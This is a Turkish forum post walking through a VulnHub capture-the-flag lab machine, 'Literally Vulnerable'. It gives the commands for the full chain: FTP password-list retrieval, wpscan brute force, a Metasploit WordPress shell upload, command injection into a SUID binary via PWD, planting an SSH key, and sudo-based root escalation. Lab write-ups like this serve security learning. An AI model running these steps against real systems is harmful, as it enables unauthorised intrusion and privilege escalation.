UA: Literally Vulnerable Zafiyetli Makinenin Çözümü //By Ghost

By Ghost

Katılımcı Üye
11 Tem 2013
941
2
C:\Linux
Merhabalar herkese. Bu yazıda sizlerle beraber UA serisinin Literally Vulnerable isimli zafiyetli makinenin çözümünü inceleyeceğiz.
APM7O5.png

https://www.vulnhub.com/entry/ua-literally-vulnerable,407/
5xJRdf.png

Makine ismi: Literally Vulnerable

Yayınlanma Tarihi: 6 Aralık 2019

Yapan: Syed Umar Arfeen

Boyut/Format: 967MB/VMDK

Zorluk: Kolay-Orta

İşletim Sistemi: Linux

Seri: UA

Açıklama: Makinedeki 3 flag dosyasını bul. (local.txt-user.txt-root.txt)

7bezLT.png

İlk olarak makinemizin ip adresini öğrenmek için terminale arp-scan -l yazalım.

snAU4O.png


IP adresimizi öğrendikten sonra nmap taraması ile makinemizde hangi portlar açıkmış bakalım.
Kod:
nmap -A -p- 192.168.189.136
1y0xHR.png


Makinemizde 4 farklı port açıkmış. -A parametresi sayesinde detaylı bir taramayıda bizlere sunduğundan portlarla alakalı ufak bilgileri de öğrenmiş olduk. 21 (ftp) portuna anonymous ile bağlantı sağlanabiliyormuş. Makinemizin ftp'sine bağlanmak için terminale aşağıdaki komutu yazınız.
Kod:
ftp 192.168.189.136
Kod:
ls -al
Kod:
get backupPasswords
Kod:
bye
uiH4c9.png


backupPasswords isimli bir dosya bulduk. Bunu kendi bilgisayarımıza indirmek için get komutunu kullandık ve daha sonra ftpden çıktık. İndirdiğimiz dosyayı incelemek için terminale cat komutuyla içeriği yazdıralım.
Kod:
cat backupPasswords
osItEP.png


Bir metin ve bir password list bulduk. Bize metinde anlattığı kısaca "Şifreni gene mi unuttun! Aşağıdaki listede şifrenle birlikte bir liste bırakıyorum sana." şeklinde. Yani bize bruteforce atak yapabilmemiz için kısa bir password listesi sundu. Şimdi sırada bunu nerede kullanacağımızı bulmakta. nmap taramasında 80 (http) portuna bakmak için tarayıcı açıp ipyi girelim.

rLCAZn.png


İlk açtığımda düzensiz bir yapı ile karşılaşıyorum. Daha önceki tecrübelerime dayanarak burada css,js dosyalarını localhost/... şeklinde çağırmış olabilir ve bu yüzden düzensiz kalmış olabileceği geliyor hemen aklıma. Bunu öğrenmek için yüklenemeyen dosyaları tarayıcıdan faydalanarak öğreniyoruz. Tahminim isim hariç doğru çıktı. Bunu düzgün bir hale getirebilmemiz için /etc/hosts dosyasına ufak bir satır eklememiz gerekiyor. Dosyası editör ile açmak için;
Kod:
mousepad /etc/hosts
Kod:
192.168.189.136 literally.vulnerable
4bBT1k.png

hbA2jr.png


Tarayıcımıza dönüp sayfayı yenilediğimizde düzenli bir hale döndüğünü göreceksiniz. Siteye baktığım zaman wordpress olduğunu anlıyorum. wpscan ile eklenti, user, bruteforce derken bu sitede hiçbir şey bulamadım. Anasayfada da başka bir wordpress sitesinden bahsettiği için diğer porttaki http servisini kontrol edelim.

mQX1iG.png


Bu web saysafı üzerinde neler olduğunu öğrenmek için dizin taraması yapalım. Terminale aşağıdaki gibi dirb komutunu girelim.
Kod:
dirb http://192.168.189.136:65535/ /usr/share/wordlists/dirb/big.txt
N7serV.png



/phpcms dizini altında wordpress dosyalarını bulabildik. Tarayıcımızdan wordpress sayfasını kontrol edelim.

qijJkK.png


Bu site ile alakalı user bilgilerini öğrenmek için terminale aşağıdaki komutu girelim.
Kod:
wpscan --url http://192.168.189.136:65535/phpcms/ -e u
s08MoT.png


2 tane kullanıcı bulduk. Bunları bir dosya içine yazalım. Bunun için terminal üzerinden bir dosya oluşturup (user.txt) editör yardımıyla user bilgilerini girelim. Yan yana yazmayınız. Alt alta gelecek şekilde yazınız.

aOnlVA.png


Şimdi elimde user list ve password list bir de wordpress site olduğuna göre wpscan yardımıyla bruteforce atak yapabilirim. Bunun için terminale aşağıdaki komutu girebilirsiniz.
Kod:
wpscan --url http://192.168.189.135:65535/phpcms/ -U user.txt -P backupPasswords
PTVP1F.png


Bruteforce ataktan sonra wpscan bize giriş bilgilerini bulduğunu söylüyor.
Kullanıcı adı: maybeadmin
Password: $EPid%J2L9Luf05
Giriş bilgilerini http://192.168.189.136:65535/phpcms/wp-login.php üzerinden girip panele erişebilirsiniz.

Panele girdiğimde maybeadmin kullanıcısının kısıtlı erişimi olduğunu (editör grubu) farkediyorum. Panelde herhangi bişi bulabilir miyim diye dolaşırken konular arasında garip bir konu mevcut. İçerisini girdiğimde diğer kullanıcının (wpscan de bulduğumuz diğer kullanıcı-> notadmin) bilgilerini bana sunmakta.

2xSZ9P.png

2fwKFT.png


Wordpress üzerinde yetkili bir kullanıcının bilgilerine eriştiğime göre wp_admin_shell_upload ile sisteme girebilirim. Aşağıdaki komutları sırasıyla girerek sisteme sızabilirsiniz.
Kod:
msfconsole
Kod:
search wp_admin
Kod:
use 0
Kod:
set RHOSTS 192.168.189.136
Kod:
set RPORT 65535
Kod:
set TARGETURI /phpcms
Kod:
set USERNAME notadmin
Kod:
set PASSWORD Pa$$w0rd13!&
Kod:
exploit
TMuTB8.png


meterpreter yazısını gördüğünüzde shell yazarak içeri girebilirsiniz. Daha rahat komut yazıp görebilmek için bin/bash komutumuzu yazalım.
Kod:
python3 -c 'import pty;pty.spawn("/bin/bash")'

Sisteme www-data kullanıcı olarak girebildik. Bu CTF çözümünde 3 farklı flag dosyasına ulaşmamız beklenmekteydi. Fakat hiçbirine ulaşamamaktayım. Permision denied hatası alıyoruz hepsinde.


8i2wcx.png


Bizde yetki yükseltme işlemi yapmamız gerekiyor. Sistemde bişiler ararken /home/doe dizin altında -rws... izinlerine sahip çalıştırılabilir bir dosya fark ediyorum. Bunu çalıştırdığımızda ne yaptığını öğrenmek için terminal üzerinde çalıştırdığımızda bize bulunduğumuz dizinin ne olduğunu döndüren bir komut içermekte olduğunu anlayabiliyoruz. Peki bu super kullanıcı dosyasını ben yetkisiz kullanıcı (www-data) bile çalıştırabildiğime göre okuma-yazma (rw) izinleri de mevcut. O halde bu dosya üzerinden ben kullanıcı geçişi yapabilirim belki. Denemek için terminal üzerinde aşağıdaki komutları girelim.
Kod:
export PWD=\$\(/bin/bash\)
Kod:
./itseasy
3diU1b.png


Gördüğünüz gibi john kullanıcına geçiş yapabildik. Fakat ne komut yazarsanız yazın geri dönüşü göremiyoruz. Yinede john kullanıcısı üzerindeyken john için bir ssh-keygen oluşturup ssh ile bağlantı kurabiliriz. Bunu için yeni bir terminal açıp ssh key oluşturalım.
Kod:
ssh-keygen
Kod:
cat /root/.ssh/id_rsa.pub
YQKzWg.png


Sisteme sızdığımız terminale geri dönüp john için gerekli ssh dosyalasını oluşturmamız gerekiyor. Bunun için aşağıdaki komutları sırasıyla giriniz.
Kod:
mkdir -p /home/john/.ssh
Kod:
echo "OlusturdugunuzKEY" > /home/john/.ssh/authorized_keys
BZH5Mb.png


Şimdi yeni bir terminal açıp ssh bağlantısı yapalım.
Kod:
yes
Kod:
OLUŞTURDUGUNUZŞİFRE
RXx1Gf.png


Ssh ile giriş sağladık. Fakat sudo -l komutunu çalıştırabilmemiz için john kullanıcısının gerçek şifresini bilmemiz gerekiyor. Bunun için sistemde bir arama yapalım.
Kod:
find . -type f -iname "*password*" 2>/dev/null
Kod:
cat ./.local/share/tmpFiles/myPassword
Qe8Hi5.png


Arama sonunda bir dosya bulduk. Bulduğumuz dosyada bize çözülebilir bir b64 (base64) olduğunu söylüyor. Bize verdiği hash değerini çözümlemek için terminalden yardım aldık ve john kullanıcısının gerçek şifresini öğrenebildik. Şimdi sudo -l komutu için elimde şifre var. Terminale komutu girdiğimde bana /var/www/html/test.html dosyası çalıştırılabilir olduğunu söylüyor. Dosya üzerinde bash komutu yerleştirmek için sisteme sızdığımız terminale dönüp aşağıdaki komutları sırasıyla girelim
Kod:
exit
Kod:
echo "/bin/bash" > /var/www/html/test.html
Kod:
chmod 777 /var/www/html/test.html
QLKVnU.png


Ssh ile bağlantı kurduğumuz terminale geri dönüp şimdi bu html dosyasını çalıştırmak kalıyor. Bunun için aşağıdaki komutları sırasıyla girelim.
Kod:
cd /var/www/html
Kod:
sudo ./test.html
LU6Hn9.png


Ve sonunda makinede root kullanıcısına yükselebildik. Şimdi flag dosyalarımızı okumak kalıyor geriye :)


qxnivA.png

bGuSKR.png


H4ck3njoy :)
04gkaa.png

Elimden geldiğince çözümü anlatmaya çalıştım. Umarım faydalı ve doğru anlatabilmişimdir. Bir başka CTF çözümünde buluşmak üzere Allah'a emanet olun :)
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.